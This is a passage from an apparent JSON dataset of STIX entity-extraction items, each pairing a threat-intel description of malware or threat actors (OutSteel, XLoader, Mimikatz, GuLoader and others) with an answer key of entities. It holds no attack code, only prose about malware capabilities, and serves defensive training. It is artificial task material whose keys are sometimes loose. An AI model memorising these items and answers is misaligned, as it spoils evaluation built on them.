    "input": "### Text Passage:\nOutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.\n",
    "output": "<entities>OutSteel|AutoIT|Ember Bear</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXLoader for Android is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application.\n",
    "output": "<entities>Android|XLoader|Japan|Korea|China|Taiwan|Hong Kong|South Korean</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoopy's decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis.\n",
    "output": "<entities>Goopy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.\n",
    "output": "<entities>DualToy|Android|iOS|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation Wocao can proxy traffic through multiple infected systems.\n",
    "output": "<entities>Operation Wocao</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBISCUIT has a command to collect the processor type, operation system, computer name, uptime, and whether the system is a laptop or PC.\n",
    "output": "<entities>BISCUIT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nxCaon has checked for the existence of Kaspersky antivirus software on the system.\n",
    "output": "<entities>xCaon|Kaspersky antivirus software</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.\n",
    "output": "<entities>NETEAGLE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTianySpy is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. TianySpy is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.\n",
    "output": "<entities>TianySpy|Japanese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMany of the campaigns, especially the large volume ones, strongly resemble the historic TA505 activity from 2019 and 2020. The commonalities include similar domain naming conventions, email lures , Excel file lures, and the delivery of the FlawedGrace remote access trojan (RAT). The campaigns also contain some noteworthy, new developments, such as retooled intermediate loader stages scripted in Rebol and KiXtart, which are used instead of the previously popular Get2 downloader.\n",
    "output": "<entities>TA505|Excel|FlawedGrace|KiXtart|Rebol|Get2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMythic is an open source, cross-platform post-exploitation/command and control platform. Mythic is designed to \"plug-n-play\" with various agents and communication channels.\n",
    "output": "<entities>Mythic</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back KitM OSX.\n",
    "output": "<entities>WindTail|Windshift|macOS|Hack Back KitM OSX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCobian RAT has a feature to perform keylogging on the victim\u2019s machine.\n",
    "output": "<entities>Cobian RAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.\n",
    "output": "<entities>HOPLIGHT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.\n",
    "output": "<entities>Mimikatz</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nhttpclient opens cmd.exe on the victim.\n",
    "output": "<entities>cmd.exe|httpclient</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDrovorub can use TCP to communicate between its agent and client modules.\n",
    "output": "<entities>Drovorub</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGuLoader has the ability to perform anti-debugging based on time checks, API calls, and CPUID.\n",
    "output": "<entities>GuLoader</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
